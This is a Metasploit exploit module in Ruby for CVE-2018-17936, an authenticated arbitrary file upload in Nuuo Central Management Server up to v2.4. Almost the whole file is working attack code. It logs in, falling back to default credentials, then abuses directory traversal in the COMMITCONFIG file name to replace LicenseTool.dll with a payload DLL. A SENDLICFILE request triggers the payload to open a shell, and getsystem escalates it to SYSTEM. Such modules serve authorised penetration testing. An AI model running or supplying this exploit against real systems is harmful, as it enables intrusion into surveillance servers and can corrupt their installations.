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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ManualRanking
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Remote::Nuuo
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",
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        'Description' => %q{
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          The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
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          CMS Server.
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          The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\..\)
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          characters. Therefore, this function can be abused to overwrite any files in the installation
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          drive of CMS Server.
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          This vulnerability is exploitable in CMS versions up to and including v2.4.
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          This module will either use a provided session number (which can be guessed with an auxiliary
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          module) or attempt to login using a provided username and password - it will also try the
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          default credentials if nothing is provided.
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          This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
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          fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
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          not execute successfully.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2018-17936' ],
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          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
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          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
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          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]
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        ],
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Targets' => [
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          [ 'Nuuo Central Management Server <= v2.4.0', {} ],
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2018-10-11',
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        'DefaultTarget' => 0,
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_sys_process_execute
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              stdapi_sys_process_get_processes
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              stdapi_sys_process_kill
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            ]
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          }
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        }
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      )
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    )
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    self.needs_cleanup = true
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  end
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  def on_new_session(client)
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    if client.type == 'meterpreter'
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      print_warning('Please wait a bit while we clean up')
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      client.sys.process.get_processes().each do |proc|
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        if proc['name'] == 'NCS_Server.exe'
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          client.sys.process.kill(proc['pid'])
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          Rex.sleep(5)
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          client.shell_command_token("move /y #{@dll} LicenseTool.dll")
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          client.sys.process.execute('NCS_Server.exe')
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          print_good('Successfully restored LicenseTool.dll!')
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        end
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      end
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      # elevate privs to system (we're already Admin anyway), and we're done!
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      client.run_cmd('getsystem')
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      print_good('We should have SYSTEM now, enjoy your shell!')
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    else
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      print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')
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      print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")
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      print_error('... otherwise the Nuuo CMS installation will be nuked!')
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      print_good('Anyway, enjoy your shell!')
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    end
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  end
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  def upload_file(filename, data)
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    res = ncs_send_request({
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      'method' => 'COMMITCONFIG',
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      'file_name' => "..\\..\\#{filename}",
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      'user_session' => user_session,
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      'data' => data
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    })
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  end
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  def exploit
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    connect
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    res = ncs_login
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    fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res
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    # Download and upload a backup of LicenseTool.dll, so that we can restore it at post
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    # and not nuke the CMS installation.
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    @dll = rand_text_alpha(12)
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    print_status("Backing up LicenseTool.dll to #{@dll}")
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    ltool = 'LicenseTool.dll'
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    res = ncs_send_request({
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      'method' => 'GETCONFIG',
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      'file_name' => "..\\..\\#{ltool}",
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      'user_session' => user_session
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    })
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    dll_data = res.body
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    upload_file(@dll, dll_data)
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    print_status('Uploading payload...')
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    upload_file(ltool, generate_payload_dll)
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    print_status('Sleeping 15 seconds...')
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    Rex.sleep(15)
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    print_status('Sending SENDLICFILE request, shell incoming!')
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    res = ncs_send_request({
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      'method' => 'SENDLICFILE',
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      'file_name' => "#{rand_text_alpha(3..11)}.lic",
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      'user_session' => user_session,
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      'data' => rand_text_alpha(50..350)
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    })
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  end
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end
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